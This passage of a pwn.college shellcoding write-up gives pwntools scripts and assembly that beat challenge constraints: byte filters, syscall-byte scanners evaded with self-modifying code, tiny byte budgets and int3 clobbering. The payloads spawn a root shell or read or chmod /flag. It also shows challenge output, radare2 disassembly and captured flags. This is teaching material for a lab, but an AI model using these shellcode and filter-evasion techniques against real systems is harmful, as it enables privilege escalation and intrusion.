.intel_syntax noprefix
xor edi, edi
push 105
pop rax
syscall

xor esi, esi
push rsi
push rsi
push rsp
pop rdi

mov dword ptr [rdi], 0x6e69622f
mov dword ptr [rdi+4], 0x68732f2f

push 59
pop rax

xor edx, edx
syscall
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x48" in payload:
log.error("detected 0x48 bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()

Method 2: Read flag directly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/ello-ackers"

shellcode_asm = """
.global _start
_start:
.intel_syntax noprefix
xor esi, esi
push rsi
push rsp
pop rdi

mov dword ptr [rdi], 0x616c662f
mov byte ptr [rdi+4], 0x67
push 2
pop rax
syscall

xchg eax, edi
push rsp
pop rsi
mov dl, 100
xor eax, eax
syscall

xchg eax, edx
push 1
pop rdi
push 1
pop rax
syscall
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x48" in payload:
log.error("detected 0x48 bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{ogTy4tQHj3UmVxXesBT0tLjIPBx.0FMyIDL4cjM1gzW}

Syscall Smuggler

Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), can you defeat this?

1
2
3
4
5
6
7
8
9
10
11
hacker@program-security~syscall-smuggler:~$ /challenge/syscall-smuggler ###
### Welcome to /challenge/syscall-smuggler!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x1a467000!
Reading 0x1000 bytes from stdin.

Solution: SMC (Self-Modifying Code)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/syscall-smuggler"

shellcode_asm = """
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
push 2
pop rax
mov rdi, rsp
xor esi, esi
inc byte ptr [rip + patch_target1 + 1]
patch_target1:
.byte 0x0f
.byte 0x04

mov r10d, 0x7fffffff
mov rsi, rax
push 40
pop rax
push 1
pop rdi
cdq
inc byte ptr [rip + patch_target + 1]
patch_target:
.byte 0x0f
.byte 0x04
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x0f05" in payload:
log.error("detected syscall bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{sxAngc7P16UniMHkxwySW6LiF3L.0VMyIDL4cjM1gzW}

Syscall Shenanigans

Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), this challenge adds an extra layer of difficulty!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
hacker@program-security~syscall-shenanigans:~$ /challenge/syscall-shenanigans
###
### Welcome to /challenge/syscall-shenanigans!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x2000 bytes for shellcode at 0x229dc000!
Reading 0x2000 bytes from stdin.

This challenge requires that your shellcode does not have any `syscall`, 'sysenter', or `int` instructions. System calls
are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05
(`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to
insert the `syscall` instructions at runtime.

Removing write permissions from first 4096 bytes of shellcode. !!!!!!!!!!!!!!!!!

This challenge is about to execute the following shellcode:

Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x00000000229dc000 | 48 b8 01 01 01 01 01 01 01 01 | movabs rax, 0x101010101010101
0x00000000229dc00a | 50 | push rax
0x00000000229dc00b | 48 b8 2e 67 6d 60 66 01 01 01 | movabs rax, 0x1010166606d672e
0x00000000229dc015 | 48 31 04 24 | xor qword ptr [rsp], rax
0x00000000229dc019 | 6a 02 | push 2
0x00000000229dc01b | 58 | pop rax
0x00000000229dc01c | 48 89 e7 | mov rdi, rsp
0x00000000229dc01f | 31 f6 | xor esi, esi
0x00000000229dc021 | fe 05 01 00 00 00 | inc byte ptr [rip + 1]

Executing shellcode!

[*] Got EOF while reading in interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/syscall-shenanigans"

shellcode_asm = """
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
push 2
pop rax
mov rdi, rsp
xor esi, esi
inc byte ptr [rip + patch_target1 + 1]
patch_target1:
.byte 0x0f
.byte 0x04

mov r10d, 0x7fffffff
mov rsi, rax
push 40
pop rax
push 1
pop rdi
cdq
inc byte ptr [rip + patch_target + 1]
patch_target:
.byte 0x0f
.byte 0x04
"""

payload = b"\x90" * 4096

payload += asm(shellcode_asm)

# log.info(f"Payload len: {len(payload)} bytes")
# log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x0f05" in payload:
log.error("detected syscall bytes in payload")
exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{sgSXh_BFf5M_15STVO05hkTbwud.0lMyIDL4cjM1gzW}

Byte Budget

Write and execute shellcode to read the flag, but you only get 18 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hacker@program-security~byte-budget:~$ /challenge/byte-budget
###
### Welcome to /challenge/byte-budget!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x14f5f000!
Reading 0x12 bytes from stdin.

Removing write permissions from first 4096 bytes of shellcode.

Disassembly analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
r2 -A -q -c "pdf @ sym.main" /challenge/byte-budget

; ICOD XREF from entry0 @ 0x1241(r)
┌ 727: int main (int argc, char **argv, char **envp);
│ `- args(rdi, rsi, rdx) vars(6:sp[0x10..0x40])
│ 0x00001567 f30f1efa endbr64
│ 0x0000156b 55 push rbp
│ 0x0000156c 4889e5 mov rbp, rsp
│ 0x0000156f 4883ec40 sub rsp, 0x40
│ 0x00001573 897ddc mov dword [var_24h], edi ; argc
│ 0x00001576 488975d0 mov qword [var_30h], rsi ; argv
│ 0x0000157a 488955c8 mov qword [var_38h], rdx ; envp
│ 0x0000157e 488b059b2a.. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x4020:8]=0
│ 0x00001585 b900000000 mov ecx, 0 ; size_t size
│ 0x0000158a ba02000000 mov edx, 2 ; int mode
│ 0x0000158f be00000000 mov esi, 0 ; char *buf
│ 0x00001594 4889c7 mov rdi, rax ; FILE*stream
│ 0x00001597 e844fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0000159c 488b056d2a.. mov rax, qword [obj.stdout] ; obj.__TMC_END__
│ ; [0x4010:8]=0
│ 0x000015a3 b900000000 mov ecx, 0 ; size_t size
│ 0x000015a8 ba02000000 mov edx, 2 ; int mode
│ 0x000015ad be00000000 mov esi, 0 ; char *buf
│ 0x000015b2 4889c7 mov rdi, rax ; FILE*stream
│ 0x000015b5 e826fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x000015ba 488d3d040c.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015c1 e87afbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015c6 488b45d0 mov rax, qword [var_30h]
│ 0x000015ca 488b00 mov rax, qword [rax]
│ 0x000015cd 4889c6 mov rsi, rax
│ 0x000015d0 488d3df20b.. lea rdi, str._Welcome_to__s__n ; 0x21c9 ; "### Welcome to %s!\n" ; const char *format
│ 0x000015d7 b800000000 mov eax, 0
│ 0x000015dc e89ffbffff call sym.imp.printf ; int printf(const char *format)
│ 0x000015e1 488d3ddd0b.. lea rdi, [0x000021c5] ; "###" ; const char *s
│ 0x000015e8 e853fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x000015ed bf0a000000 mov edi, 0xa ; int c
│ 0x000015f2 e839fbffff call sym.imp.putchar ; int putchar(int c)
│ 0x000015f7 488d3de20b.. lea rdi, str.This_challenge_reads_in_some_bytes__modifies_them__depending_on_the_specific_challenge_configuration___and_executes_them ; 0x21e0 ; "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them" ; const char *s
│ 0x000015fe e83dfbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001603 488d3d560c.. lea rdi, str.as_code__This_is_a_common_exploitation_scenario__called__code_injection_._Through_this_series_of_challenges__you_will ; 0x2260 ; "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will" ; const char *s
│ 0x0000160a e831fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000160f 488d3dc20c.. lea rdi, str.practice_your_shellcode_writing_skills_under_various_constraints__To_ensure_that_you_are_shellcoding__rather_than_doing ; 0x22d8 ; "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing" ; const char *s
│ 0x00001616 e825fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000161b 488d3d2e0d.. lea rdi, str.other_tricks__this_will_sanitize_all_environment_variables_and_arguments_and_close_all_file_descriptors___2._n ; 0x2350 ; "other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n" ; const char *s
│ 0x00001622 e819fbffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001627 c745ec0300.. mov dword [fildes], 3
│ ┌─< 0x0000162e eb0e jmp 0x163e
│ │ ; CODE XREF from main @ 0x1645(x)
│ ┌──> 0x00001630 8b45ec mov eax, dword [fildes]
│ ╎│ 0x00001633 89c7 mov edi, eax ; int fildes
│ ╎│ 0x00001635 e876fbffff call sym.imp.close ; int close(int fildes)
│ ╎│ 0x0000163a 8345ec01 add dword [fildes], 1
│ ╎│ ; CODE XREF from main @ 0x162e(x)
│ ╎└─> 0x0000163e 817dec0f27.. cmp dword [fildes], 0x270f ; '\x0f\''
│ └──< 0x00001645 7ee9 jle 0x1630
│ 0x00001647 488b45d0 mov rax, qword [var_30h]
│ 0x0000164b 488945f0 mov qword [s], rax
│ ┌─< 0x0000164f eb2b jmp 0x167c
│ │ ; CODE XREF from main @ 0x1686(x)
│ ┌──> 0x00001651 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001655 488b00 mov rax, qword [rax]
│ ╎│ 0x00001658 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000165b e800fbffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x00001660 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x00001663 488b45f0 mov rax, qword [s]
│ ╎│ 0x00001667 488b00 mov rax, qword [rax]
│ ╎│ 0x0000166a be00000000 mov esi, 0 ; int c
│ ╎│ 0x0000166f 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x00001672 e829fbffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x00001677 488345f008 add qword [s], 8
│ ╎│ ; CODE XREF from main @ 0x164f(x)
│ ╎└─> 0x0000167c 488b45f0 mov rax, qword [s]
│ ╎ 0x00001680 488b00 mov rax, qword [rax]
│ ╎ 0x00001683 4885c0 test rax, rax
│ └──< 0x00001686 75c9 jne 0x1651
│ 0x00001688 488b45c8 mov rax, qword [var_38h]
│ 0x0000168c 488945f8 mov qword [var_8h], rax
│ ┌─< 0x00001690 eb2b jmp 0x16bd
│ │ ; CODE XREF from main @ 0x16c7(x)
│ ┌──> 0x00001692 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x00001696 488b00 mov rax, qword [rax]
│ ╎│ 0x00001699 4889c7 mov rdi, rax ; const char *s
│ ╎│ 0x0000169c e8bffaffff call sym.imp.strlen ; size_t strlen(const char *s)
│ ╎│ 0x000016a1 4889c2 mov rdx, rax ; size_t n
│ ╎│ 0x000016a4 488b45f8 mov rax, qword [var_8h]
│ ╎│ 0x000016a8 488b00 mov rax, qword [rax]
│ ╎│ 0x000016ab be00000000 mov esi, 0 ; int c
│ ╎│ 0x000016b0 4889c7 mov rdi, rax ; void *s
│ ╎│ 0x000016b3 e8e8faffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ ╎│ 0x000016b8 488345f808 add qword [var_8h], 8
│ ╎│ ; CODE XREF from main @ 0x1690(x)
│ ╎└─> 0x000016bd 488b45f8 mov rax, qword [var_8h]
│ ╎ 0x000016c1 488b00 mov rax, qword [rax]
│ ╎ 0x000016c4 4885c0 test rax, rax
│ └──< 0x000016c7 75c9 jne 0x1692
│ 0x000016c9 41b900000000 mov r9d, 0 ; size_t offset
│ 0x000016cf 41b800000000 mov r8d, 0 ; int fd
│ 0x000016d5 b922000000 mov ecx, 0x22 ; '\"' ; int flags
│ 0x000016da ba07000000 mov edx, 7 ; int prot
│ 0x000016df be00100000 mov esi, sym._init ; 0x1000 ; size_t length
│ 0x000016e4 bf00f0f514 mov edi, 0x14f5f000 ; void*addr
│ 0x000016e9 e882faffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│ 0x000016ee 4889054329.. mov qword [obj.shellcode], rax ; [0x4038:8]=0
│ 0x000016f5 488b053c29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000016fc 483d00f0f514 cmp rax, 0x14f5f000
│ ┌─< 0x00001702 741f je 0x1723
│ │ 0x00001704 488d0d360e.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│ │ 0x0000170b ba62000000 mov edx, 0x62 ; 'b' ; unsigned int line
│ │ 0x00001710 488d35a90c.. lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│ │ 0x00001717 488d3dc20c.. lea rdi, str.shellcode___void__0x14f5f000 ; str.shellcode___void__0x14f5f000
│ │ ; 0x23e0 ; "shellcode == (void *)0x14f5f000" ; const char *assertion
│ │ 0x0000171e e86dfaffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x1702(x)
│ └─> 0x00001723 488b050e29.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x0000172a 4889c6 mov rsi, rax
│ 0x0000172d 488d3dcc0c.. lea rdi, str.Mapped_0x1000_bytes_for_shellcode_at__p__n ; str.Mapped_0x1000_bytes_for_shellcode_at__p__n
│ ; 0x2400 ; "Mapped 0x1000 bytes for shellcode at %p!\n" ; const char *format
│ 0x00001734 b800000000 mov eax, 0
│ 0x00001739 e842faffff call sym.imp.printf ; int printf(const char *format)
│ 0x0000173e 488d3deb0c.. lea rdi, str.Reading_0x12_bytes_from_stdin._n ; str.Reading_0x12_bytes_from_stdin._n
│ ; 0x2430 ; "Reading 0x12 bytes from stdin.\n" ; const char *s
│ 0x00001745 e8f6f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000174a 488b05e728.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x00001751 ba12000000 mov edx, 0x12 ; size_t nbyte
│ 0x00001756 4889c6 mov rsi, rax ; void *buf
│ 0x00001759 bf00000000 mov edi, 0 ; int fildes
│ 0x0000175e e85dfaffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00001763 488905c628.. mov qword [obj.shellcode_size], rax ; [0x4030:8]=0
│ 0x0000176a 488b05bf28.. mov rax, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x00001771 4885c0 test rax, rax
│ ┌─< 0x00001774 751f jne 0x1795
│ │ 0x00001776 488d0dc40d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│ │ 0x0000177d ba67000000 mov edx, 0x67 ; 'g' ; unsigned int line
│ │ 0x00001782 488d35370c.. lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│ │ 0x00001789 488d3dc00c.. lea rdi, str.shellcode_size___0 ; 0x2450 ; "shellcode_size > 0" ; const char *assertion
│ │ 0x00001790 e8fbf9ffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x1774(x)
│ └─> 0x00001795 488d3dcc0c.. lea rdi, str.Removing_write_permissions_from_first_4096_bytes_of_shellcode._n ; 0x2468 ; "Removing write permissions from first 4096 bytes of shellcode.\n" ; const char *s
│ 0x0000179c e89ff9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017a1 488b059028.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000017a8 ba05000000 mov edx, 5
│ 0x000017ad be00100000 mov esi, sym._init ; 0x1000
│ 0x000017b2 4889c7 mov rdi, rax
│ 0x000017b5 e846faffff call sym.imp.mprotect
│ 0x000017ba 85c0 test eax, eax
│ ┌─< 0x000017bc 741f je 0x17dd
│ │ 0x000017be 488d0d7c0d.. lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│ │ 0x000017c5 ba6a000000 mov edx, 0x6a ; 'j' ; unsigned int line
│ │ 0x000017ca 488d35ef0b.. lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│ │ 0x000017d1 488d3dd00c.. lea rdi, str.mprotect_shellcode__4096__PROT_READPROT_EXEC___0 ; 0x24a8 ; "mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0" ; const char *assertion
│ │ 0x000017d8 e8b3f9ffff call sym.imp.__assert_fail ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│ │ ; CODE XREF from main @ 0x17bc(x)
│ └─> 0x000017dd 488d3dfc0c.. lea rdi, str.This_challenge_is_about_to_execute_the_following_shellcode:_n ; 0x24e0 ; "This challenge is about to execute the following shellcode:\n" ; const char *s
│ 0x000017e4 e857f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x000017e9 488b154028.. mov rdx, qword [obj.shellcode_size] ; [0x4030:8]=0
│ 0x000017f0 488b054128.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│ 0x000017f7 4889d6 mov rsi, rdx ; int64_t arg2
│ 0x000017fa 4889c7 mov rdi, rax ; int64_t arg1
│ 0x000017fd e807fbffff call sym.print_disassembly
│ 0x00001802 488d3d140d.. lea rdi, [0x0000251d] ; const char *s
│ 0x00001809 e832f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000180e 488d3d090d.. lea rdi, str.Executing_shellcode__n ; 0x251e ; "Executing shellcode!\n" ; const char *s
│ 0x00001815 e826f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000181a 488b051728.. mov rax, qword [obj.shellcode] ; [0x4038:8]=0
# shellcode in rdx
│ 0x00001821 4889c2 mov rdx, rax
│ 0x00001824 b800000000 mov eax, 0
│ 0x00001829 ffd2 call rdx
│ 0x0000182b 488d3d020d.. lea rdi, str._Goodbye_ ; 0x2534 ; "### Goodbye!" ; const char *s
│ 0x00001832 e809f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001837 b800000000 mov eax, 0
│ 0x0000183c c9 leave
└ 0x0000183d c3 ret

程序在 call shellcode 之前,把 shellcode 的起始地址 (0x14f5f000) 塞进了 rdx 寄存器里。

可以直接把字符串硬编码在指令的末尾,然后用 rdx 来获取 ASCII 字符串的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/byte-budget"

# syscall chmod
payload_asm = """
.intel_syntax noprefix
lea rdi, [rdx + 12]
push 4
pop rsi
push 90
pop rax
syscall
.ascii "/flag"
"""

payload = asm(payload_asm)
log.info(f"Payload length: {len(payload)} bytes (Arch Way Minimal!)")

p = process(target_binary)
p.send(payload)

p.wait()

import os

os.system("cat /flag")
pwn.college{c0WCX5hfQ61Xr0NdbS8GG93279M.0FNyIDL4cjM1gzW}

ClobberCode

Write and execute shellcode to read the flag, but this time your shellcode is partially overwritten with 0xcc (INT 3) every other 10 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
hacker@program-security~clobbercode:~$ /challenge/clobbercode
###
### Welcome to /challenge/clobbercode!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x2e692000!
Reading 0x1000 bytes from stdin.

This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an
instruction is an `INT 3`, which is an interrupt to call into the debugger. You must avoid these modifications in your
shellcode.

Removing write permissions from first 4096 bytes of shellcode.

This challenge is about to execute the following shellcode:

Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x000000002e692000 | 31 ff | xor edi, edi
0x000000002e692002 | 6a 69 | push 0x69
0x000000002e692004 | 58 | pop rax
0x000000002e692005 | 0f 05 | syscall
0x000000002e692007 | 31 f6 | xor esi, esi
0x000000002e692009 | 56 | push rsi
0x000000002e69200a | cc | int3
0x000000002e69200b | cc | int3
0x000000002e69200c | cc | int3
0x000000002e69200d | cc | int3
0x000000002e69200e | cc | int3
0x000000002e69200f | cc | int3
0x000000002e692010 | cc | int3
0x000000002e692011 | cc | int3
0x000000002e692012 | cc | int3
0x000000002e692013 | cc | int3
0x000000002e692014 | 47 04 2f | add al, 0x2f

Executing shellcode!

[*] Got EOF while reading in interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/clobbercode"

payload_asm = """
.intel_syntax noprefix

xor eax, eax
push rax
mov eax, 0x67616c66
jmp b2

.rept 10
nop
.endr

b2:
shl rax, 8
mov al, 0x2f
nop
nop
jmp b3

.rept 10
nop
.endr

b3:
push rax
push rsp
pop rdi
push 4
pop rsi
nop
nop
jmp b4

.rept 10
nop
.endr

b4:
push 90
pop rax
syscall
"""

payload = asm(payload_asm)
log.info(f"Generated Payload Size: {len(payload)} bytes")

p = process(target_binary)
p.send(payload)
p.wait()

import os
os.system("cat /flag")
pwn.college{QOtrCvTfAfczjbdUxqvPYGKqWTY.0VNyIDL4cjM1gzW}

Diverse Delivery

Write and execute shellcode to read the flag, but every byte in your input must be unique.

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~diverse-delivery:~$ /challenge/diverse-delivery ###
### Welcome to /challenge/diverse-delivery!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x237a3000!
Reading 0x1000 bytes from stdin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/diverse-delivery"

# 20 bytes of pure unique perfection
payload_asm = """
.intel_syntax noprefix
movabs rbx, 0x02010067616c662f
push rbx
push rsp
pop rdi
push 0x3f
pop rsi
mov al, 90
syscall
"""

payload = asm(payload_asm)

unique_bytes = set(payload)

p = process(target_binary)
p.send(payload)
p.wait()

import os
os.system("cat /flag")
pwn.college{k-QnO4vkMzyh_61th5kjPIrt_UL.0FOyIDL4cjM1gzW}

Pocket Payload

Write and execute shellcode to read the flag, but this time you only get 12 bytes!

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~pocket-payload:~$ /challenge/pocket-payload
###
### Welcome to /challenge/pocket-payload!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x19902000!
Reading 0xc bytes from stdin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
from pwn import *
import os

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/pocket-payload"

payload_asm = """
.intel_syntax noprefix
push rdx
pop rdi
push 0x3f
pop rsi
mov al, 90
syscall
"""

payload = asm(payload_asm).ljust(12, b"\x90")

log.info(f"Payload (also our symlink name): {payload}")

try:
os.remove(payload)
except OSError:
pass

os.symlink(b"/flag", payload)

p = process(target_binary)
p.send(payload)

p.wait()

os.system("cat /flag")

Micro Menace

Write and execute shellcode to read the flag, but this time you only get 6 bytes :)

1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-security~micro-menace:~$ /challenge/micro-menace
###
### Welcome to /challenge/micro-menace!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x19f00000!
Reading 0x6 bytes from stdin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
            ; ICOD XREF from entry0 @ 0x1221(r)
┌ 655: int main (int argc, char **argv, char **envp);
│ `- args(rdi, rsi, rdx) vars(6:sp[0x10..0x40])
│ 0x00001547 f30f1efa endbr64
│ 0x0000154b 55 push rbp
│ 0x0000154c 4889e5 mov rbp, rsp
│ 0x0000154f 4883ec40 sub rsp, 0x40
│ 0x00001553 897ddc mov dword [var_24h], edi ; argc
│ 0x00001556 488975d0 mov qword [var_30h], rsi ; argv
│ 0x0000155a 488955c8 mov qword [var_38h], rdx ; envp
│ 0x0000155e 488b05bb2a.. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x4020:8]=0
│ 0x00001565 b900000000 mov ecx, 0 ; size_t size
│ 0x0000156a ba02000000 mov edx, 2 ; int mode
